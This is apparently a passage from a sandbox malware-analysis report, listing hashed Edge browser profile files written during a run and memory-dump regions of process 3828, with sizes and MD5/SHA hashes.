                                                                ec139da854674c70cc07feb6a64254df2b530800efade7f8299f03d4a68d66638c071257c76ec1fe4abe157c3581148570626c1c5c9bd8e738764e57fc63a5de

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                Filesize

                                                                7KB

                                                                MD5

                                                                02bfdf7e5d47c60cf1b5eeeb41204937

                                                                SHA1

                                                                a8e267320668222c44014f4f7625afa5b7a0dc43

                                                                SHA256

                                                                9435dd06f202d7a22c2c412daa83eb5cbb31ff38508bf73ce641e2d6373ca196

                                                                SHA512

                                                                15a387c9a54a8da1dfed15b131ced3cf2c3417d23cd556f0b8f21ed706939ea7f2fbbbbab696e094d336b2f777410a22a871353dba034b6b40731e45f0e9d7d2

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                Filesize

                                                                8KB

                                                                MD5

                                                                cb6fd0978ffe29f48e3892fb58a61e77

                                                                SHA1

                                                                0edd4df13c57162d4770eb8abd4154322c3ab86a

                                                                SHA256

                                                                58555f3846259ba4adec37c374571fb8f0e3fad1e4fd4b15869a2b979f9cee9d

                                                                SHA512

                                                                db253c6eab2ba3baa97d077d113f09e0aab9c416b1c4c743aa955d8f454301bfe05eb5c0462cba9430ebfd1c0d8a1690ff7643b3a0cfade74a9cf443d961c523

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                                                Filesize

                                                                6KB

                                                                MD5

                                                                48648da909022730ba025a73caa461d2

                                                                SHA1

                                                                7f29ccf5970a466a697a04877945224d23b72695

                                                                SHA256

                                                                26c44eaaa5eb5847cf2ab42af3127e97e62fdfe64f2bbc260140dc3f4f8447b0

                                                                SHA512

                                                                dbabb75e224bef744c1e9bdbb9ed0d8a5f325269dd7260732cb466b302aff974ecf19d8603d721dac61398d36cc1f556bf8d1e4e76f6c57224fb9eff5bb7195f

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                06b95431722083c0b6869bf2859ba870

                                                                SHA1

                                                                6610d6950eda7dafe4afc40421f962626c94910b

                                                                SHA256

                                                                c409652fea7ae2519374b4b8befd9d6efeeba864a8ce61ad51ae50d99cf533d4

                                                                SHA512

                                                                3a2b360a2ba70f5a734e57f67c63c4e34d9f608a68af79561252a1f1e34ac891b2324e04d29eed8b6df767e7d50727be21c7f415356864df8ae3ad6b140ea01f

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                Filesize

                                                                3KB

                                                                MD5

                                                                88134f93e155da9c7da1b72f69d28a10

                                                                SHA1

                                                                d361df41354e6f15e7d812be5c88ffc6ec73ca79

                                                                SHA256

                                                                34a685b907a115a08d85b27abc41fcbf77bbf65b2a3e9e6985d7b43ec4524028

                                                                SHA512

                                                                ee0e725b85e088d1b5e1c11664c2e9ed49321eedb6720dd94de037b4ed891aaf5b25c0baff99b3662824d741c5746546f8db3c06c551653ccc3bda913283c4d8

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                Filesize

                                                                1KB

                                                                MD5

                                                                70fec407cf45a7d5af4c436dab611ba1

                                                                SHA1

                                                                5ae2e9e6b7fb457f435ee5b2593fab51697acbad

                                                                SHA256

                                                                0ff5c7165de721ed7dcbd6be25a91f98c72b5fd2fa596319fe904746960d9317

                                                                SHA512

                                                                666ddc569ca0c02693de22464ebc00f64faa4a6dc240eb2cd72d27c39f2102b871c8e8887e5e33df9fc6a995e9e598e0c366a07bc5a33a9a307b57ff0d178f87

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                                Filesize

                                                                2KB

                                                                MD5

                                                                f759168ca0ad2bfd0ec7cf4b2386f0f1

                                                                SHA1

                                                                e5711ea843702f73afdc54d6e17db93eadc628a8

                                                                SHA256

                                                                09f4c46928e82ed2efcea4d0056c77e6995d7e8cf37385c4c4c08c5da5c4d9ce

                                                                SHA512

                                                                90f9fac2af3632faf07c412c2470fc4a583cc5d650547f61e62c43576b0c0f79c173c91dda8bffab58d00a0475f228fae70bb0c0e6164d1a0ca9bfa90853a244

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe58240d.TMP

                                                                Filesize

                                                                1KB

                                                                MD5

                                                                92b1a84ba356c4c724c17c44842073ed

                                                                SHA1

                                                                fcb12304a418eb39eeab084e16c234fb82d4550f

                                                                SHA256

                                                                25a6ebd4b4bef6bd00f2686b293d4c60b62905f1235afe5d43045c875494ac7f

                                                                SHA512

                                                                ef0fcc9175264f4fdaa407afdf30c34e7793685723a9f76ae3f12d785715966f8ddcd0bac33d2ca89761d395cead5d7355f503e0b13408cc9278548755c955b1

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                                Filesize

                                                                16B

                                                                MD5

                                                                6752a1d65b201c13b62ea44016eb221f

                                                                SHA1

                                                                58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                                                SHA256

                                                                0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                                                SHA512

                                                                9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                Filesize

                                                                10KB

                                                                MD5

                                                                707871031f42b313e19aa31669db0aa4

                                                                SHA1

                                                                f19d3d7d9ba4c73042119c44b00b00f0518d7290

                                                                SHA256

                                                                9ea86f045bed5eeb37bb76dd3872782e1d199ddcfec9df29d55846c1ef0aea2d

                                                                SHA512

                                                                84dec08a7174b029126820716d901241618a32097d08ef5ecba0f257193df857f2dd5e956de07ba6fc21acc85d2ed7953424b8ad5b7dd4a72e943d7adceda40f

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                Filesize

                                                                10KB

                                                                MD5

                                                                ab5206a54d49dd45f8e3b30ce4d9525e

                                                                SHA1

                                                                01901b94a4248806e27d90e3a382fe598b476d88

                                                                SHA256

                                                                332cb071fda2613b3e29b99686bf7bf79cc02ad5ef361546696f86bfbd85957a

                                                                SHA512

                                                                b15c153b96eb3f1eac406358b50ca7af535d43b15b7d9c3a46187bdc9ee121ecc28a6aee9cd398ec1a48b770f278118140ca8451efc07e12daccbf8f439845ae

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                Filesize

                                                                8KB

                                                                MD5

                                                                f77be45a0c7bffaf11aca677e51b46fc

                                                                SHA1

                                                                b68bdb5dd27f6087912dd4c1916a4edba7b0a84c

                                                                SHA256

                                                                16571ef04f003125b4a657aa4e9712d1d7111032a5dfaf7bfeb5aa76c17b76d6

                                                                SHA512

                                                                c331dd8e144498ab2eb5720b8f2ec7be31573d88657a01cc90a58cd0f93884fb1a6771498c007a51d61a682cc3b2298722b63ff548b0854244ec31b86d1b08b3

                                                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                                Filesize

                                                                8KB

                                                                MD5

                                                                ae1da665d85d066dda92d92df32f6856

                                                                SHA1

                                                                b438bcf39f397ae4630ecd5e76a0c5b0e933019d

                                                                SHA256

                                                                c97c55994429514472fb140bbbd79659b814d75dcc593a035702647b85c23e0a

                                                                SHA512

                                                                84e93140e183fa926a60346e23735e1caf404ce09d038c34d0eb315cb2b6e807ef04c96407b14150d4579a806db7ea504410ace9d79ca9aa15f17d49fd1b80e7

                                                              • memory/3828-29-0x00000000067A0000-0x00000000067B2000-memory.dmp

                                                                Filesize

                                                                72KB

                                                              • memory/3828-25-0x0000000006770000-0x0000000006798000-memory.dmp

                                                                Filesize

                                                                160KB

                                                              • memory/3828-52-0x0000000006800000-0x000000000681F000-memory.dmp

                                                                Filesize

                                                                124KB

                                                              • memory/3828-48-0x0000000006820000-0x000000000685A000-memory.dmp

                                                                Filesize

                                                                232KB

                                                              • memory/3828-45-0x0000000006820000-0x000000000685A000-memory.dmp

                                                                Filesize

                                                                232KB

                                                              • memory/3828-44-0x0000000006720000-0x0000000006726000-memory.dmp

                                                                Filesize

                                                                24KB

                                                              • memory/3828-41-0x0000000006720000-0x0000000006726000-memory.dmp

                                                                Filesize

                                                                24KB

                                                              • memory/3828-53-0x0000000006860000-0x0000000006875000-memory.dmp

                                                                Filesize

                                                                84KB

                                                              • memory/3828-37-0x000000000B180000-0x000000000B234000-memory.dmp

                                                                Filesize

                                                                720KB

                                                              • memory/3828-36-0x0000000006730000-0x000000000673C000-memory.dmp

                                                                Filesize

                                                                48KB

                                                              • memory/3828-57-0x0000000000B04000-0x0000000000B05000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3828-50-0x0000000006800000-0x000000000681F000-memory.dmp

                                                                Filesize

                                                                124KB

                                                              • memory/3828-40-0x000000000B180000-0x000000000B234000-memory.dmp

                                                                Filesize

                                                                720KB

                                                              • memory/3828-17-0x0000000006610000-0x0000000006623000-memory.dmp

                                                                Filesize

                                                                76KB

                                                              • memory/3828-20-0x0000000006610000-0x0000000006623000-memory.dmp

                                                                Filesize

                                                                76KB

                                                              • memory/3828-56-0x0000000006860000-0x0000000006875000-memory.dmp

                                                                Filesize

                                                                84KB

                                                              • memory/3828-33-0x0000000006730000-0x000000000673C000-memory.dmp

                                                                Filesize

                                                                48KB

                                                              • memory/3828-28-0x0000000006770000-0x0000000006798000-memory.dmp

                                                                Filesize

                                                                160KB

                                                              • memory/3828-0-0x0000000000B04000-0x0000000000B05000-memory.dmp

                                                                Filesize

                                                                4KB

                                                              • memory/3828-32-0x00000000067A0000-0x00000000067B2000-memory.dmp

                                                                Filesize

                                                                72KB

                                                              • memory/3828-21-0x0000000006740000-0x0000000006763000-memory.dmp

                                                                Filesize

                                                                140KB

                                                              • memory/3828-24-0x0000000006740000-0x0000000006763000-memory.dmp

                                                                Filesize

                                                                140KB

                                                              • memory/3828-8-0x0000000008A00000-0x00000000095E9000-memory.dmp

                                                                Filesize

                                                                11.9MB

                                                              • memory/3828-9-0x00000000065B0000-0x00000000065F0000-memory.dmp

                                                                Filesize

                                                                256KB

                                                              • memory/3828-12-0x00000000065B0000-0x00000000065F0000-memory.dmp

                                                                Filesize

                                                                256KB

                                                              • memory/3828-13-0x0000000006580000-0x0000000006591000-memory.dmp

                                                                Filesize

                                                                68KB

                                                              • memory/3828-16-0x0000000006580000-0x0000000006591000-memory.dmp

                                                                Filesize

                                                                68KB

                                                              • memory/3828-4-0x0000000006D00000-0x000000000768A000-memory.dmp

                                                                Filesize

                                                                9.5MB

                                                              • memory/3828-5-0x0000000008A00000-0x00000000095E9000-memory.dmp

                                                                Filesize

                                                                11.9MB

                                                              • memory/3828-1-0x0000000006D00000-0x000000000768A000-memory.dmp

                                                                Filesize

                                                                9.5MB